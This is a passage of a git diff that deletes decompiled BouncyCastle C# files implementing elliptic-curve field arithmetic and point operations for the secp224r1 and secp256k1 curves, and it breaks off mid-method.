Nat.ShiftDownBit(7, x, 0u, z); - return; - } - uint c = Nat224.Add(x, P, z); - Nat.ShiftDownBit(7, z, c); - } - - public static void Multiply(uint[] x, uint[] y, uint[] z) - { - uint[] array = Nat224.CreateExt(); - Nat224.Mul(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(uint[] x, uint[] y, uint[] zz) - { - if ((Nat224.MulAddTo(x, y, zz) != 0 || (zz[13] == uint.MaxValue && Nat.Gte(14, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(14, zz, PExtInv.Length); - } - } - - public static void Negate(uint[] x, uint[] z) - { - if (Nat224.IsZero(x)) - { - Nat224.Zero(z); - } - else - { - Nat224.Sub(P, x, z); - } - } - - public static void Reduce(uint[] xx, uint[] z) - { - long num = xx[10]; - long num2 = xx[11]; - long num3 = xx[12]; - long num4 = xx[13]; - long num5 = xx[7] + num2 - 1; - long num6 = xx[8] + num3; - long num7 = xx[9] + num4; - long num8 = 0L; - num8 += xx[0] - num5; - long num9 = (uint)num8; - num8 >>= 32; - num8 += xx[1] - num6; - z[1] = (uint)num8; - num8 >>= 32; - num8 += xx[2] - num7; - z[2] = (uint)num8; - num8 >>= 32; - num8 += xx[3] + num5 - num; - long num10 = (uint)num8; - num8 >>= 32; - num8 += xx[4] + num6 - num2; - z[4] = (uint)num8; - num8 >>= 32; - num8 += xx[5] + num7 - num3; - z[5] = (uint)num8; - num8 >>= 32; - num8 += xx[6] + num - num4; - z[6] = (uint)num8; - num8 >>= 32; - num8++; - num10 += num8; - num9 -= num8; - z[0] = (uint)num9; - num8 = num9 >> 32; - if (num8 != 0) - { - num8 += z[1]; - z[1] = (uint)num8; - num8 >>= 32; - num8 += z[2]; - z[2] = (uint)num8; - num10 += num8 >> 32; - } - z[3] = (uint)num10; - num8 = num10 >> 32; - if ((num8 != 0 && Nat.IncAt(7, z, 4) != 0) || (z[6] == uint.MaxValue && Nat224.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static void Reduce32(uint x, uint[] z) - { - long num = 0L; - if (x != 0) - { - long num2 = x; - num += z[0] - num2; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - num += z[2]; - z[2] = (uint)num; - num >>= 32; - } - num += z[3] + num2; - z[3] = (uint)num; - num >>= 32; - } - if ((num != 0 && Nat.IncAt(7, z, 4) != 0) || (z[6] == uint.MaxValue && Nat224.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static void Square(uint[] x, uint[] z) - { - uint[] array = Nat224.CreateExt(); - Nat224.Square(x, array); - Reduce(array, z); - } - - public static void SquareN(uint[] x, int n, uint[] z) - { - uint[] array = Nat224.CreateExt(); - Nat224.Square(x, array); - Reduce(array, z); - while (--n > 0) - { - Nat224.Square(z, array); - Reduce(array, z); - } - } - - public static void Subtract(uint[] x, uint[] y, uint[] z) - { - if (Nat224.Sub(x, y, z) != 0) - { - SubPInvFrom(z); - } - } - - public static void SubtractExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Sub(14, xx, yy, zz) != 0 && Nat.SubFrom(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.DecAt(14, zz, PExtInv.Length); - } - } - - public static void Twice(uint[] x, uint[] z) - { - if (Nat.ShiftUpBit(7, x, 0u, z) != 0 || (z[6] == uint.MaxValue && Nat224.Gte(z, P))) - { - AddPInvTo(z); - } - } - - private static void AddPInvTo(uint[] z) - { - long num = (long)z[0] - 1L; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - num += z[2]; - z[2] = (uint)num; - num >>= 32; - } - num += (long)z[3] + 1L; - z[3] = (uint)num; - num >>= 32; - if (num != 0) - { - Nat.IncAt(7, z, 4); - } - } - - private static void SubPInvFrom(uint[] z) - { - long num = (long)z[0] + 1L; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - num += z[2]; - z[2] = (uint)num; - num >>= 32; - } - num += (long)z[3] - 1L; - z[3] = (uint)num; - num >>= 32; - if (num != 0) - { - Nat.DecAt(7, z, 4); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224R1FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224R1FieldElement.cs deleted file mode 100644 index f2e5220..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224R1FieldElement.cs +++ /dev/null @@ -1,244 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP224R1FieldElement : AbstractFpFieldElement -{ - public static readonly BigInteger Q = SecP224R1Curve.q; - - protected internal readonly uint[] x; - - public override bool IsZero => Nat224.IsZero(x); - - public override bool IsOne => Nat224.IsOne(x); - - public override string FieldName => "SecP224R1Field"; - - public override int FieldSize => Q.BitLength; - - public SecP224R1FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(Q) >= 0) - { - throw new ArgumentException("value invalid for SecP224R1FieldElement", "x"); - } - this.x = SecP224R1Field.FromBigInteger(x); - } - - public SecP224R1FieldElement() - { - x = Nat224.Create(); - } - - protected internal SecP224R1FieldElement(uint[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return Nat224.GetBit(x, 0) == 1; - } - - public override BigInteger ToBigInteger() - { - return Nat224.ToBigInteger(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - uint[] z = Nat224.Create(); - SecP224R1Field.Add(x, ((SecP224R1FieldElement)b).x, z); - return new SecP224R1FieldElement(z); - } - - public override ECFieldElement AddOne() - { - uint[] z = Nat224.Create(); - SecP224R1Field.AddOne(x, z); - return new SecP224R1FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - uint[] z = Nat224.Create(); - SecP224R1Field.Subtract(x, ((SecP224R1FieldElement)b).x, z); - return new SecP224R1FieldElement(z); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - uint[] z = Nat224.Create(); - SecP224R1Field.Multiply(x, ((SecP224R1FieldElement)b).x, z); - return new SecP224R1FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - uint[] z = Nat224.Create(); - Mod.Invert(SecP224R1Field.P, ((SecP224R1FieldElement)b).x, z); - SecP224R1Field.Multiply(z, x, z); - return new SecP224R1FieldElement(z); - } - - public override ECFieldElement Negate() - { - uint[] z = Nat224.Create(); - SecP224R1Field.Negate(x, z); - return new SecP224R1FieldElement(z); - } - - public override ECFieldElement Square() - { - uint[] z = Nat224.Create(); - SecP224R1Field.Square(x, z); - return new SecP224R1FieldElement(z); - } - - public override ECFieldElement Invert() - { - uint[] z = Nat224.Create(); - Mod.Invert(SecP224R1Field.P, x, z); - return new SecP224R1FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - uint[] array = x; - if (Nat224.IsZero(array) || Nat224.IsOne(array)) - { - return this; - } - uint[] array2 = Nat224.Create(); - SecP224R1Field.Negate(array, array2); - uint[] array3 = Mod.Random(SecP224R1Field.P); - uint[] t = Nat224.Create(); - if (!IsSquare(array)) - { - return null; - } - while (!TrySqrt(array2, array3, t)) - { - SecP224R1Field.AddOne(array3, array3); - } - SecP224R1Field.Square(t, array3); - if (!Nat224.Eq(array, array3)) - { - return null; - } - return new SecP224R1FieldElement(t); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecP224R1FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecP224R1FieldElement); - } - - public virtual bool Equals(SecP224R1FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat224.Eq(x, other.x); - } - - public override int GetHashCode() - { - return Q.GetHashCode() ^ Arrays.GetHashCode(x, 0, 7); - } - - private static bool IsSquare(uint[] x) - { - uint[] z = Nat224.Create(); - uint[] array = Nat224.Create(); - Nat224.Copy(x, z); - for (int i = 0; i < 7; i++) - { - Nat224.Copy(z, array); - SecP224R1Field.SquareN(z, 1 << i, z); - SecP224R1Field.Multiply(z, array, z); - } - SecP224R1Field.SquareN(z, 95, z); - return Nat224.IsOne(z); - } - - private static void RM(uint[] nc, uint[] d0, uint[] e0, uint[] d1, uint[] e1, uint[] f1, uint[] t) - { - SecP224R1Field.Multiply(e1, e0, t); - SecP224R1Field.Multiply(t, nc, t); - SecP224R1Field.Multiply(d1, d0, f1); - SecP224R1Field.Add(f1, t, f1); - SecP224R1Field.Multiply(d1, e0, t); - Nat224.Copy(f1, d1); - SecP224R1Field.Multiply(e1, d0, e1); - SecP224R1Field.Add(e1, t, e1); - SecP224R1Field.Square(e1, f1); - SecP224R1Field.Multiply(f1, nc, f1); - } - - private static void RP(uint[] nc, uint[] d1, uint[] e1, uint[] f1, uint[] t) - { - Nat224.Copy(nc, f1); - uint[] array = Nat224.Create(); - uint[] array2 = Nat224.Create(); - for (int i = 0; i < 7; i++) - { - Nat224.Copy(d1, array); - Nat224.Copy(e1, array2); - int num = 1 << i; - while (--num >= 0) - { - RS(d1, e1, f1, t); - } - RM(nc, array, array2, d1, e1, f1, t); - } - } - - private static void RS(uint[] d, uint[] e, uint[] f, uint[] t) - { - SecP224R1Field.Multiply(e, d, e); - SecP224R1Field.Twice(e, e); - SecP224R1Field.Square(d, t); - SecP224R1Field.Add(f, t, d); - SecP224R1Field.Multiply(f, t, f); - uint num = Nat.ShiftUpBits(7, f, 2, 0u); - SecP224R1Field.Reduce32(num, f); - } - - private static bool TrySqrt(uint[] nc, uint[] r, uint[] t) - { - uint[] array = Nat224.Create(); - Nat224.Copy(r, array); - uint[] array2 = Nat224.Create(); - array2[0] = 1u; - uint[] array3 = Nat224.Create(); - RP(nc, array, array2, array3, t); - uint[] array4 = Nat224.Create(); - uint[] z = Nat224.Create(); - for (int i = 1; i < 96; i++) - { - Nat224.Copy(array, array4); - Nat224.Copy(array2, z); - RS(array, array2, array3, t); - if (Nat224.IsZero(array)) - { - Mod.Invert(SecP224R1Field.P, z, t); - SecP224R1Field.Multiply(t, array4, t); - return true; - } - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224R1Point.cs deleted file mode 100644 index e71c389..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP224R1Point.cs +++ /dev/null @@ -1,228 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP224R1Point : AbstractFpPoint -{ - public SecP224R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecP224R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecP224R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecP224R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - SecP224R1FieldElement secP224R1FieldElement = (SecP224R1FieldElement)base.RawXCoord; - SecP224R1FieldElement secP224R1FieldElement2 = (SecP224R1FieldElement)base.RawYCoord; - SecP224R1FieldElement secP224R1FieldElement3 = (SecP224R1FieldElement)b.RawXCoord; - SecP224R1FieldElement secP224R1FieldElement4 = (SecP224R1FieldElement)b.RawYCoord; - SecP224R1FieldElement secP224R1FieldElement5 = (SecP224R1FieldElement)base.RawZCoords[0]; - SecP224R1FieldElement secP224R1FieldElement6 = (SecP224R1FieldElement)b.RawZCoords[0]; - uint[] array = Nat224.CreateExt(); - uint[] array2 = Nat224.Create(); - uint[] array3 = Nat224.Create(); - uint[] array4 = Nat224.Create(); - bool isOne = secP224R1FieldElement5.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = secP224R1FieldElement3.x; - array6 = secP224R1FieldElement4.x; - } - else - { - array6 = array3; - SecP224R1Field.Square(secP224R1FieldElement5.x, array6); - array5 = array2; - SecP224R1Field.Multiply(array6, secP224R1FieldElement3.x, array5); - SecP224R1Field.Multiply(array6, secP224R1FieldElement5.x, array6); - SecP224R1Field.Multiply(array6, secP224R1FieldElement4.x, array6); - } - bool isOne2 = secP224R1FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = secP224R1FieldElement.x; - array8 = secP224R1FieldElement2.x; - } - else - { - array8 = array4; - SecP224R1Field.Square(secP224R1FieldElement6.x, array8); - array7 = array; - SecP224R1Field.Multiply(array8, secP224R1FieldElement.x, array7); - SecP224R1Field.Multiply(array8, secP224R1FieldElement6.x, array8); - SecP224R1Field.Multiply(array8, secP224R1FieldElement2.x, array8); - } - uint[] array9 = Nat224.Create(); - SecP224R1Field.Subtract(array7, array5, array9); - uint[] array10 = array2; - SecP224R1Field.Subtract(array8, array6, array10); - if (Nat224.IsZero(array9)) - { - if (Nat224.IsZero(array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = array3; - SecP224R1Field.Square(array9, array11); - uint[] array12 = Nat224.Create(); - SecP224R1Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - SecP224R1Field.Multiply(array11, array7, array13); - SecP224R1Field.Negate(array12, array12); - Nat224.Mul(array8, array12, array); - uint x = Nat224.AddBothTo(array13, array13, array12); - SecP224R1Field.Reduce32(x, array12); - SecP224R1FieldElement secP224R1FieldElement7 = new SecP224R1FieldElement(array4); - SecP224R1Field.Square(array10, secP224R1FieldElement7.x); - SecP224R1Field.Subtract(secP224R1FieldElement7.x, array12, secP224R1FieldElement7.x); - SecP224R1FieldElement secP224R1FieldElement8 = new SecP224R1FieldElement(array12); - SecP224R1Field.Subtract(array13, secP224R1FieldElement7.x, secP224R1FieldElement8.x); - SecP224R1Field.MultiplyAddToExt(secP224R1FieldElement8.x, array10, array); - SecP224R1Field.Reduce(array, secP224R1FieldElement8.x); - SecP224R1FieldElement secP224R1FieldElement9 = new SecP224R1FieldElement(array9); - if (!isOne) - { - SecP224R1Field.Multiply(secP224R1FieldElement9.x, secP224R1FieldElement5.x, secP224R1FieldElement9.x); - } - if (!isOne2) - { - SecP224R1Field.Multiply(secP224R1FieldElement9.x, secP224R1FieldElement6.x, secP224R1FieldElement9.x); - } - ECFieldElement[] zs = new ECFieldElement[1] { secP224R1FieldElement9 }; - return new SecP224R1Point(curve, secP224R1FieldElement7, secP224R1FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - SecP224R1FieldElement secP224R1FieldElement = (SecP224R1FieldElement)base.RawYCoord; - if (secP224R1FieldElement.IsZero) - { - return curve.Infinity; - } - SecP224R1FieldElement secP224R1FieldElement2 = (SecP224R1FieldElement)base.RawXCoord; - SecP224R1FieldElement secP224R1FieldElement3 = (SecP224R1FieldElement)base.RawZCoords[0]; - uint[] array = Nat224.Create(); - uint[] array2 = Nat224.Create(); - uint[] array3 = Nat224.Create(); - SecP224R1Field.Square(secP224R1FieldElement.x, array3); - uint[] array4 = Nat224.Create(); - SecP224R1Field.Square(array3, array4); - bool isOne = secP224R1FieldElement3.IsOne; - uint[] array5 = secP224R1FieldElement3.x; - if (!isOne) - { - array5 = array2; - SecP224R1Field.Square(secP224R1FieldElement3.x, array5); - } - SecP224R1Field.Subtract(secP224R1FieldElement2.x, array5, array); - uint[] array6 = array2; - SecP224R1Field.Add(secP224R1FieldElement2.x, array5, array6); - SecP224R1Field.Multiply(array6, array, array6); - uint x = Nat224.AddBothTo(array6, array6, array6); - SecP224R1Field.Reduce32(x, array6); - uint[] array7 = array3; - SecP224R1Field.Multiply(array3, secP224R1FieldElement2.x, array7); - x = Nat.ShiftUpBits(7, array7, 2, 0u); - SecP224R1Field.Reduce32(x, array7); - x = Nat.ShiftUpBits(7, array4, 3, 0u, array); - SecP224R1Field.Reduce32(x, array); - SecP224R1FieldElement secP224R1FieldElement4 = new SecP224R1FieldElement(array4); - SecP224R1Field.Square(array6, secP224R1FieldElement4.x); - SecP224R1Field.Subtract(secP224R1FieldElement4.x, array7, secP224R1FieldElement4.x); - SecP224R1Field.Subtract(secP224R1FieldElement4.x, array7, secP224R1FieldElement4.x); - SecP224R1FieldElement secP224R1FieldElement5 = new SecP224R1FieldElement(array7); - SecP224R1Field.Subtract(array7, secP224R1FieldElement4.x, secP224R1FieldElement5.x); - SecP224R1Field.Multiply(secP224R1FieldElement5.x, array6, secP224R1FieldElement5.x); - SecP224R1Field.Subtract(secP224R1FieldElement5.x, array, secP224R1FieldElement5.x); - SecP224R1FieldElement secP224R1FieldElement6 = new SecP224R1FieldElement(array6); - SecP224R1Field.Twice(secP224R1FieldElement.x, secP224R1FieldElement6.x); - if (!isOne) - { - SecP224R1Field.Multiply(secP224R1FieldElement6.x, secP224R1FieldElement3.x, secP224R1FieldElement6.x); - } - return new SecP224R1Point(curve, secP224R1FieldElement4, secP224R1FieldElement5, new ECFieldElement[1] { secP224R1FieldElement6 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return Twice().Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return Twice().Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new SecP224R1Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256K1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256K1Curve.cs deleted file mode 100644 index 74e0be2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256K1Curve.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP256K1Curve : AbstractFpCurve -{ - private class SecP256K1LookupTable : ECLookupTable - { - private readonly SecP256K1Curve m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecP256K1LookupTable(SecP256K1Curve outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat256.Create(); - uint[] array2 = Nat256.Create(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 8; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 8 + j] & num2); - } - num += 16; - } - return m_outer.CreateRawPoint(new SecP256K1FieldElement(array), new SecP256K1FieldElement(array2), withCompression: false); - } - } - - private const int SECP256K1_DEFAULT_COORDS = 2; - - private const int SECP256K1_FE_INTS = 8; - - public static readonly BigInteger q = new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F")); - - protected readonly SecP256K1Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public SecP256K1Curve() - : base(q) - { - m_infinity = new SecP256K1Point(this, null, null); - m_a = FromBigInteger(BigInteger.Zero); - m_b = FromBigInteger(BigInteger.ValueOf(7L)); - m_order = new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141")); - m_cofactor = BigInteger.One; - m_coord = 2; - } - - protected override ECCurve CloneCurve() - { - return new SecP256K1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 2) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecP256K1FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecP256K1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecP256K1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 8 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat256.Copy(((SecP256K1FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 8; - Nat256.Copy(((SecP256K1FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 8; - } - return new SecP256K1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256K1Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256K1Field.cs deleted file mode 100644 index aabc991..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256K1Field.cs +++ /dev/null @@ -1,154 +0,0 @@ -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP256K1Field -{ - private const uint P7 = uint.MaxValue; - - private const uint PExt15 = uint.MaxValue; - - private const uint PInv33 = 977u; - - internal static readonly uint[] P = new uint[8] { 4294966319u, 4294967294u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u }; - - internal static readonly uint[] PExt = new uint[16] - { - 954529u, 1954u, 1u, 0u, 0u, 0u, 0u, 0u, 4294965342u, 4294967293u, - 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u - }; - - private static readonly uint[] PExtInv = new uint[10] { 4294012767u, 4294965341u, 4294967294u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 1953u, 2u }; - - public static void Add(uint[] x, uint[] y, uint[] z) - { - if (Nat256.Add(x, y, z) != 0 || (z[7] == uint.MaxValue && Nat256.Gte(z, P))) - { - Nat.Add33To(8, 977u, z); - } - } - - public static void AddExt(uint[] xx, uint[] yy, uint[] zz) - { - if ((Nat.Add(16, xx, yy, zz) != 0 || (zz[15] == uint.MaxValue && Nat.Gte(16, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(16, zz, PExtInv.Length); - } - } - - public static void AddOne(uint[] x, uint[] z) - { - if (Nat.Inc(8, x, z) != 0 || (z[7] == uint.MaxValue && Nat256.Gte(z, P))) - { - Nat.Add33To(8, 977u, z); - } - } - - public static uint[] FromBigInteger(BigInteger x) - { - uint[] array = Nat256.FromBigInteger(x); - if (array[7] == uint.MaxValue && Nat256.Gte(array, P)) - { - Nat256.SubFrom(P, array); - } - return array; - } - - public static void Half(uint[] x, uint[] z) - { - if ((x[0] & 1) == 0) - { - Nat.ShiftDownBit(8, x, 0u, z); - return; - } - uint c = Nat256.Add(x, P, z); - Nat.ShiftDownBit(8, z, c); - } - - public static void Multiply(uint[] x, uint[] y, uint[] z) - { - uint[] array = Nat256.CreateExt(); - Nat256.Mul(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(uint[] x, uint[] y, uint[] zz) - { - if ((Nat256.MulAddTo(x, y, zz) != 0 || (zz[15] == uint.MaxValue && Nat.Gte(16, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(16, zz, PExtInv.Length); - } - } - - public static void Negate(uint[] x, uint[] z) - { - if (Nat256.IsZero(x)) - { - Nat256.Zero(z); - } - else - { - Nat256.Sub(P, x, z); - } - } - - public static void Reduce(uint[] xx, uint[] z) - { - ulong y = Nat256.Mul33Add(977u, xx, 8, xx, 0, z, 0); - if (Nat256.Mul33DWordAdd(977u, y, z, 0) != 0 || (z[7] == uint.MaxValue && Nat256.Gte(z, P))) - { - Nat.Add33To(8, 977u, z); - } - } - - public static void Reduce32(uint x, uint[] z) - { - if ((x != 0 && Nat256.Mul33WordAdd(977u, x, z, 0) != 0) || (z[7] == uint.MaxValue && Nat256.Gte(z, P))) - { - Nat.Add33To(8, 977u, z); - } - } - - public static void Square(uint[] x, uint[] z) - { - uint[] array = Nat256.CreateExt(); - Nat256.Square(x, array); - Reduce(array, z); - } - - public static void SquareN(uint[] x, int n, uint[] z) - { - uint[] array = Nat256.CreateExt(); - Nat256.Square(x, array); - Reduce(array, z); - while (--n > 0) - { - Nat256.Square(z, array); - Reduce(array, z); - } - } - - public static void Subtract(uint[] x, uint[] y, uint[] z) - { - if (Nat256.Sub(x, y, z) != 0) - { - Nat.Sub33From(8, 977u, z); - } - } - - public static void SubtractExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Sub(16, xx, yy, zz) != 0 && Nat.SubFrom(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.DecAt(16, zz, PExtInv.Length); - } - } - - public static void Twice(uint[] x, uint[] z) - { - if (Nat.ShiftUpBit(8, x, 0u, z) != 0 || (z[7] == uint.MaxValue && Nat256.Gte(z, P))) - { - Nat.Add33To(8, 977u, z); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256K1FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256K1FieldElement.cs deleted file mode 100644 index 9d3c2f9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256K1FieldElement.cs +++ /dev/null @@ -1,189 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP256K1FieldElement : AbstractFpFieldElement -{ - public static readonly BigInteger Q = SecP256K1Curve.q; - - protected internal readonly uint[] x; - - public override bool IsZero => Nat256.IsZero(x); - - public override bool IsOne => Nat256.IsOne(x); - - public override string FieldName => "SecP256K1Field"; - - public override int FieldSize => Q.BitLength; - - public SecP256K1FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(Q) >= 0) - { - throw new ArgumentException("value invalid for SecP256K1FieldElement", "x"); - } - this.x = SecP256K1Field.FromBigInteger(x); - } - - public SecP256K1FieldElement() - { - x = Nat256.Create(); - } - - protected internal SecP256K1FieldElement(uint[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return Nat256.GetBit(x, 0) == 1; - } - - public override BigInteger ToBigInteger() - { - return Nat256.ToBigInteger(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - uint[] z = Nat256.Create(); - SecP256K1Field.Add(x, ((SecP256K1FieldElement)b).x, z); - return new SecP256K1FieldElement(z); - } - - public override ECFieldElement AddOne() - { - uint[] z = Nat256.Create(); - SecP256K1Field.AddOne(x, z); - return new SecP256K1FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - uint[] z = Nat256.Create(); - SecP256K1Field.Subtract(x, ((SecP256K1FieldElement)b).x, z); - return new SecP256K1FieldElement(z); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - uint[] z = Nat256.Create(); - SecP256K1Field.Multiply(x, ((SecP256K1FieldElement)b).x, z); - return new SecP256K1FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - uint[] z = Nat256.Create(); - Mod.Invert(SecP256K1Field.P, ((SecP256K1FieldElement)b).x, z); - SecP256K1Field.Multiply(z, x, z); - return new SecP256K1FieldElement(z); - } - - public override ECFieldElement Negate() - { - uint[] z = Nat256.Create(); - SecP256K1Field.Negate(x, z); - return new SecP256K1FieldElement(z); - } - - public override ECFieldElement Square() - { - uint[] z = Nat256.Create(); - SecP256K1Field.Square(x, z); - return new SecP256K1FieldElement(z); - } - - public override ECFieldElement Invert() - { - uint[] z = Nat256.Create(); - Mod.Invert(SecP256K1Field.P, x, z); - return new SecP256K1FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - uint[] y = x; - if (Nat256.IsZero(y) || Nat256.IsOne(y)) - { - return this; - } - uint[] array = Nat256.Create(); - SecP256K1Field.Square(y, array); - SecP256K1Field.Multiply(array, y, array); - uint[] array2 = Nat256.Create(); - SecP256K1Field.Square(array, array2); - SecP256K1Field.Multiply(array2, y, array2); - uint[] array3 = Nat256.Create(); - SecP256K1Field.SquareN(array2, 3, array3); - SecP256K1Field.Multiply(array3, array2, array3); - uint[] array4 = array3; - SecP256K1Field.SquareN(array3, 3, array4); - SecP256K1Field.Multiply(array4, array2, 